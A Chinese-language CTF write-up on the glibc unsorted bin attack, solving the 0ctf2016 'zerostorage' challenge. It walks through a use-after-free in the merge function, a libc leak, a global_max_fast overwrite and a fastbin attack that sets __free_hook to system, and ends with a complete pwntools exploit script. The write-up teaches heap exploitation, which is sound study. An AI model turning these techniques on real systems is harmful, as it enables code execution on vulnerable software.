unsorted bin attack

对unsorted bin中的chunk->bk进行修改,接下来该chunk分配出去时,chunk->bk->fd就被赋值为unsortedbin头结点地址。

1
2
3
4
bck = victim->bk;
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

在glibc2.28中增加了以下检查,使得此攻击失效。

1
2
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");

unsorted bin attack通常为进一步的攻击做准备,比如覆写global_max_fast。

0ctf2016 zerostorage

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

关键数据结构

image-20200712102723178

flag:标识该节点是否存在

size:记录大小

content:数据块指针

程序有以下功能

1
2
3
4
5
6
7
1. Insert
2. Update
3. Merge
4. Delete
5. View
6. List
7. Exit

insert:获取数据块大小,并读入数据。数据块大小在128~4096这个范围内

update:对数据块进行大小内容进行更新

merge:将两节点合并。这里存在漏洞,输入两次相同的id,导致UAF。这个漏洞我没发现,思维还不够猥琐啊

delete:释放数据块,清空节点

总体思路

通过UAF,首先泄露libc基址,然后修改其bk指针,使用unsorted bin attack修改global_max_fast变量;fastbin bin attack覆写__free_hook为system函数地址。

unsorted bin attack

merge函数中,from的指针将会被释放,to的指针赋值给新的块。而它没有检查from和to是否是一个数据块的情况,导致指针被赋值给新数据块,同时也被释放到unsorted bin中

当它被释放到unsorted bin中时,fd、bk被填充,view该指针就获得了unsorted bin地址。

使用update函数将global_max_fast-0x10地址写入到其bk区域,分配一次后就将global_max_fast赋了一个很大的值,接下来只要不超过这个大小的chunk都会被当做fastbin处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
# uaf, leak libc base from unsorted bin
insert(0x10, b"") # 0
insert(0x10, b"/bin/sh") # 0, 1
insert(0xf8, b"") # 0, 1, 2
merge(0, 0) # 1, 2, 3
view(3)
libc_base = u64(io.recv(8)) - 0x3ABC60

# unsorted bin attack
maxfast_addr = libc_base + libc.sym["global_max_fast"]
gdb.attach(io, "b *$rebase(0xCE8)") # break at switch
update(3, 0x10, p64(0xdeadbeef) + p64(maxfast_addr-0x10))
insert(0x80, b"") # 0, 1, 2, 3

fastbin attack

image-20200712111119500

通过以上命令可以看到__free_hook的低地址方向存在一个0x02,可以通过这个数据构造成chunk->size=0x200,如下所示。

image-20200712111558299

接下来的工作就是构造一个可以改写chunk->fd的、0x200的伪fastbin。

构造关键点:realloc函数中,在重新分配的大小大于原来且nextchunk是topchunk时,会直接从topchunk中切割所需大小。这样就避免了分配的出错。

所以一开始在topchunk分配(0x200-0x10)/2=0xf8,且接下来不再使用topchunk,unsorted bin attack之后,将它merge,就同时获得了修改该0x200chunk的能力,也被free到0x200的fastbin。

1
2
3
4
5
6
# fastbin attack
merge(2, 2) # 0, 1, 3, 4
update(4, 0x1f0, p64(libc_base+0x3AD84F))
insert(0x1f0, b"") # 0, 1, 2, 3, 4
payload = p8(0)*0x49 + p64(libc_base+libc.sym["system"])
insert(0x1f0, payload) # 0, 1, 2, 3, 4, 5

exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python3
# glibc 2.26
from pwn import *

context(os="linux", arch="amd64", log_level="debug")
localfile = "./zerostorage"
locallibc = "../glibc_versions/2.26/x64_notcache/lib/libc-2.26.so"

def insert(length, data):
io.recvuntil("Your choice: ")
io.sendline(b"1")
io.recvuntil("Length of new entry: ")
io.sendline(str(length))
io.recvuntil("Enter your data: ")
data = data.ljust(length, b"\x00")
io.send(data)

def update(id, length, data):
io.recvuntil("Your choice: ")
io.sendline(b"2")
io.recvuntil("Entry ID: ")
io.sendline(str(id))
io.recvuntil("Length of entry: ")
io.sendline(str(length))
io.recvuntil("Enter your data: ")
data = data.ljust(length, b"\x00")
io.send(data)

def merge(id1, id2):
io.recvuntil("Your choice: ")
io.sendline(b"3")
io.recvuntil("Merge from Entry ID: ")
io.sendline(str(id1))
io.recvuntil("Merge to Entry ID: ")
io.sendline(str(id2))

def delete(id):
io.recvuntil("Your choice: ")
io.sendline(b"4")
io.recvuntil("Entry ID: ")
io.sendline(str(id))

def view(id):
io.recvuntil("Your choice: ")
io.sendline(str(5))
io.recvuntil("Entry ID: ")
io.sendline(str(id))
io.recvuntil("Entry No." + str(id) + ":\n")


def exp():
# uaf, leak libc base from unsorted bin
insert(0x10, b"") # 0
insert(0x10, b"/bin/sh") # 0, 1
insert(0xf8, b"") # 0, 1, 2
merge(0, 0) # 1, 2, 3
view(3)
libc_base = u64(io.recv(8)) - 0x3ABC60

# unsorted bin attack
maxfast_addr = libc_base + libc.sym["global_max_fast"]
update(3, 0x10, p64(0xdeadbeef) + p64(maxfast_addr-0x10))
insert(0x80, b"") # 0, 1, 2, 3

# fastbin attack
merge(2, 2) # 0, 1, 3, 4
update(4, 0x1f0, p64(libc_base+0x3AD84F))
insert(0x1f0, b"") # 0, 1, 2, 3, 4
payload = p8(0)*0x49 + p64(libc_base+libc.sym["system"])
insert(0x1f0, payload) # 0, 1, 2, 3, 4, 5

delete(1)

io.interactive()


argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

Reference

  1. how2heap unsorted bin attack
  2. https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html
  3. 0CTF 2016 - Zerostorage Writeup
  4. https://www.anquanke.com/post/id/178418